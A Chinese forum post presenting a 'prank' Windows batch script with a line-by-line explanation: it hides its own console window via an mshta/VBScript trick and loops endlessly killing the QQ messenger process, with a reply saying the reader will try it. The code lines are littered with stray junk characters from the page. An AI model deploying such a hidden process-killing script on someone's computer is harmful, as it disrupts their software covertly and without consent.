找回密码
 加入华同
搜索
黄金广告位联系EMAIL:[email protected] 黄金广告[email protected]
查看: 2041|回复: 1

一款小恶作剧代码 详解

[复制链接]
发表于 2012-11-23 21:16:02 | 显示全部楼层 |阅读模式
功能:运行以后机器上的QQ就不能运行了。终结方法是:打开任务管理器,然后结束进程cmd.exe就可以了。 / B4 I( b2 C# q
新建文本文档,然后将下面代码复制进去,然后重命名为a.bat,然后双击就可以了。
1 O$ W9 B! d) G8 L. G4 `; w- c9 V$ H0 j9 _/ V4 {
@echo off $ l/ w! h1 m5 G( N
if "%1" == "h" goto begin
3 T$ v$ S1 u+ q2 r* imshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit - U- Y$ l7 C" Z2 s
:begin : s5 k# K& v7 b1 c
tasklist |find /i "QQ.exe" % T+ {: b' \+ T' t  O
if %errorlevel%==0 (goto killit) else (goto next) + K% o- n! @# W  K7 L4 P% [. O
:killit 9 f5 B3 m" I: F, W6 J- M1 n  n
taskkill /f /im QQ.exe
* Z; Y( M0 C* [& n:next
6 y/ z' @4 B' Y2 Kping -n 3 127.t >nul 2>nul
) P% P7 q* w* X1 N: J& tgoto begin & t; P2 y! D- `) N" ~
4 J" V# Q; e1 V
代码到此为止 % Y) L7 }6 Q2 u8 t
讲解如下:
/ {( g3 m7 H  ^% r* b* e! e7 V@echo off ------关闭回显 ! ~8 J* l: s, f  z5 ?
if "%1" == "h" goto begin --如果文件运行时有参数h,则显示窗口运行,否则只是在后台运行 ; a' x( E+ H( q, B. J- ~: Z5 x1 n# B# Y
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit -----隐藏窗口代码 : v5 T! X) B5 Y7 @+ u
:begin ------------定一段名begin
7 f, j2 }8 K) H9 L, [tasklist |find /i "QQ.exe" ----在任务管理器里寻找进程QQ.exe
: s' `+ D+ s. _4 E- @if %errorlevel%==0 (goto killit) else (goto next)---如果存在QQ.exe.则跳转执行killit,否则执行next
( I+ L% U- r$ x5 U& ?8 c:killit
! d5 l; n" u* V  D3 v/ _taskkill /f /im QQ.exe----终结进程QQ.exe 0 t/ [- P/ H: G
:next
  ^! |$ A' m. uping -n 3 127.t >nul 2>nul -----延迟一段时间
2 \9 F$ @% J* w2 j1 W7 I  y' Dgoto begin--------------返回执行begin5 B4 ~  s' w% \: L8 `
发表于 2013-4-7 18:39:50 | 显示全部楼层
有意思= =我去试试
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 加入华同

本版积分规则

Archiver|手机版|小黑屋|华人同志

GMT+8, 2026-10-2 09:55 , Processed in 0.013414 second(s), 7 queries , Redis On.

Powered by Discuz! X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表